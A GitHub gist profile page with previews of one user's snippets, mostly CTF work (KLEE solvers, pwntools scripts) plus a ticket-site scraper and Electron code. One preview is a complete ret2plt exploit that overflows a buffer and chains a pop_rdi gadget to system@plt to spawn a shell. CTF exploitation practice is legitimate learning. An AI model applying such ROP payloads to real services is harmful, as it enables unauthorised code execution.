Skip to content

Instantly share code, notes, and snippets.

View swt02026's full-sized avatar

LEE KUANTING swt02026

  • Sinopac Securities
View GitHub Profile
@swt02026
swt02026 / babyrop2.py
Created May 20, 2019 11:48
return to printf, and one_gadget
from pwn import *
context.log_level='debug'
elf = ELF('babyrop2')
libc = ELF('./libc.so.6')
pop_rdi = 0x0000000000400733
#!/usr/bin/env bash
touch nowKKTIX
cp nowKKTIX previousKKTIX
for i in `seq 1 1 50` ; do if ! curl -s https://kktix.com/events?page=$i | ~/go/bin/pup "li.clearfix h2 a[href] "; then break; fi; done | ~/go/bin/pup "a[href] json{}" | jq '.[] | "\(.href) ||| \(.text)"' | sort > nowKKTIX
diff nowKKTIX previousKKTIX | egrep '^<' > diff.txt
#include <assert.h>
#include <memory.h>
#include <klee/klee.h>
signed int sub_804858B(signed int a1, int a2)
{
signed int result; // eax
if ( a1 == a2 )
@swt02026
swt02026 / CONFidenceCTF_elementary.c
Created March 18, 2019 11:07
CONFidenceCTF 2019 elementay use klee
#include <klee/klee.h>
#include <assert.h>
// 5F0: using guessed type long __isoc99_scanf(_QWORD, _QWORD);
//----- (00000000000007B2) ----------------------------------------------------
long function0(int a1)
{
return a1 ^ 1u;
}
name_adr=0x601070
system_plt = 0x400520
pop_rdi = 0x0000000000400733
from pwn import *
context.log_level = 'debug'
#r = remote('isc.taiwan-te.ch', 10005)
r=process('ret2plt')
r.sendlineafter('name?\n', 'sh\x00')
r.sendlineafter('something: ', 'a' *24 + p64(pop_rdi) +p64(name_adr)+p64(system_plt))
r.interactive()
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Our Code World Rocks</title>
<link rel="stylesheet" href="node_modules/vue-virtual-scroller/dist/vue-virtual-scroller.css">
<link rel="stylesheet" href="node_modules/bootstrap/dist/css/bootstrap.css">
<script src="node_modules/vue/dist/vue.js"></script>
<script src="node_modules/vue-virtual-scroller/dist/vue-virtual-scroller.min.js"></script>
</head>
const {ipcMain, app, BrowserWindow} = require('electron');
const fs = require('fs');
const fsPromises = fs.promises;
console.log(process.version)
const path = 'd:\\Users\\swt02026\\Desktop\\zcb\\aaa.txt';
var position = 0;
ins=open('instructions.txt').read().split('.')
b=list(map(len, ins[:-1]))
print b[0]
b.sort()
bits = (1296-len(b))*bytearray('0')
@swt02026
swt02026 / font.py
Last active November 13, 2018 00:13
from fontTools.ttLib import TTFont
from base64 import b64decode
from pyquery import PyQuery as pq
import requests
import re
import os
import itertools
sec1=[ 5,6 ]
sec2 = [16, 25]
sec3 = [2, 15, 26, 3, 23]
data_b = [20, 21]